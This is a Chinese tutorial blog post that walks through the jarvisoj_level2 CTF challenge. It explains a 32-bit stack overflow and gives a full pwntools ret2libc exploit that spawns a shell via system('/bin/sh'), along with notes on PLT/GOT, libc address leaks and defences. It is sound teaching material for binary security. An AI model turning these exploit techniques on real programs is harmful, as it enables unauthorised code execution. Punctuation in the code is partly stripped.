从一道CTF题入门ret2libc:手把手教你用pwntools搞定jarvisoj_level2

张开发
2026/4/6 22:07:56 15 分钟阅读

分享文章

从一道CTF题入门ret2libc:手把手教你用pwntools搞定jarvisoj_level2
从一道CTF题入门ret2libc手把手教你用pwntools搞定jarvisoj_level2在二进制安全领域栈溢出攻击是最基础也最经典的漏洞利用方式。而ret2libc作为栈溢出攻击中的重要技术能够绕过现代操作系统常见的安全防护机制。本文将以jarvisoj_level2这道经典CTF题目为例带你从零开始理解ret2libc攻击的原理和实现方法。1. 理解题目环境与漏洞首先我们需要对目标程序进行基础分析。使用checksec命令查看程序保护机制$ checksec --filelevel2 [*] /home/user/level2 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)关键信息解读32位程序函数调用使用栈传参NX enabled栈不可执行排除了shellcode注入的可能No PIE代码段地址固定便于计算偏移通过IDA反编译可以看到vulnerable_function中存在明显的栈溢出漏洞char buf[136]; // 栈缓冲区大小 read(0, buf, 0x100); // 允许读取256字节这里存在120字节(256-136)的溢出空间足以覆盖返回地址。2. ret2libc攻击原理详解当程序开启NX保护后传统的shellcode注入方式失效。ret2libc技术通过重用程序本身或libc中的函数来实现攻击目的。2.1 基本攻击流程找到目标函数如system构造合适的参数如/bin/sh覆盖返回地址跳转到目标函数布置栈结构模拟正常函数调用在32位系统中函数调用时栈布局如下| 参数n | | ... | | 参数1 | | 返回地址 | | 旧ebp | | 局部变量 |因此我们的payload结构应该是[padding] [system地址] [返回地址] [参数地址]2.2 关键地址获取我们需要获取以下关键地址system函数地址/bin/sh字符串地址合适的返回地址如main或exit通过IDA可以找到system_plt 0x08048320 # .plt表中的system binsh_addr 0x0804A024 # 程序中的/bin/sh字符串 main_addr 0x08048480 # main函数地址3. 使用pwntools构造利用脚本pwntools是CTF中最常用的漏洞利用框架下面我们一步步构建攻击脚本。3.1 基础脚本框架from pwn import * context(archi386, oslinux) p process(./level2) # 本地测试 # p remote(node5.buuoj.cn, 29654) # 远程连接3.2 计算padding长度通过调试确定覆盖返回地址需要的padding长度# 使用cyclic生成测试pattern payload cyclic(200) p.sendline(payload) p.wait() core p.corefile padding cyclic_find(core.eip) # 这里得到1403.3 构造完整payloadpayload flat( bA * padding, p32(system_plt), # 覆盖返回地址为system p32(main_addr), # system返回后跳转到main p32(binsh_addr) # system的参数 )3.4 完整利用脚本from pwn import * context(archi386, oslinux) def exploit(): p process(./level2) system_plt 0x08048320 binsh_addr 0x0804A024 main_addr 0x08048480 padding 140 payload flat( bA * padding, p32(system_plt), p32(main_addr), p32(binsh_addr) ) p.sendline(payload) p.interactive() if __name__ __main__: exploit()4. 攻击技术深入解析4.1 动态链接与PLT/GOT理解动态链接机制对ret2libc攻击至关重要组件作用在攻击中的意义PLT过程链接表函数调用的跳板提供固定的函数跳转地址GOT全局偏移表存储实际函数地址攻击时可被覆写改变程序流向ld.so动态链接器负责解析和加载实际函数地址当程序第一次调用函数时跳转到PLT表项PLT跳转到GOT表初始为空触发动态链接器解析实际地址将实际地址写入GOT跳转到实际函数后续调用直接通过GOT跳转。4.2 地址泄露技术当ASLR开启时libc地址随机化我们需要先泄露libc地址。常见方法通过格式化字符串漏洞泄露通过puts/printf输出GOT表中的函数地址计算libc基址leaked_addr u32(p.recv(4)) libc_base leaked_addr - libc.symbols[puts] system_addr libc_base libc.symbols[system]5. 防御措施与绕过方法现代系统有多种防护机制对抗ret2libc攻击防护机制作用绕过方法ASLR地址空间随机化先泄露地址计算偏移RELRO保护GOT表寻找其他可用函数Stack Canary检测栈破坏泄露canary值或覆盖不触发检查在本题中由于没有开启PIE和Full RELRO使得ret2libc攻击相对容易实现。6. 扩展练习与学习资源为了巩固ret2libc技术推荐尝试以下题目BUUCTF: jarvisoj_level3Pwnable: fd, collisionCTF Wiki练习题深入学习资源《Hacking: The Art of Exploitation》LiveOverflow YouTube频道ROP Emporium挑战系列记住在实战中每个漏洞利用都需要根据具体情况调整策略。理解原理比记住payload更重要这才是成为优秀安全研究人员的正确路径。

更多文章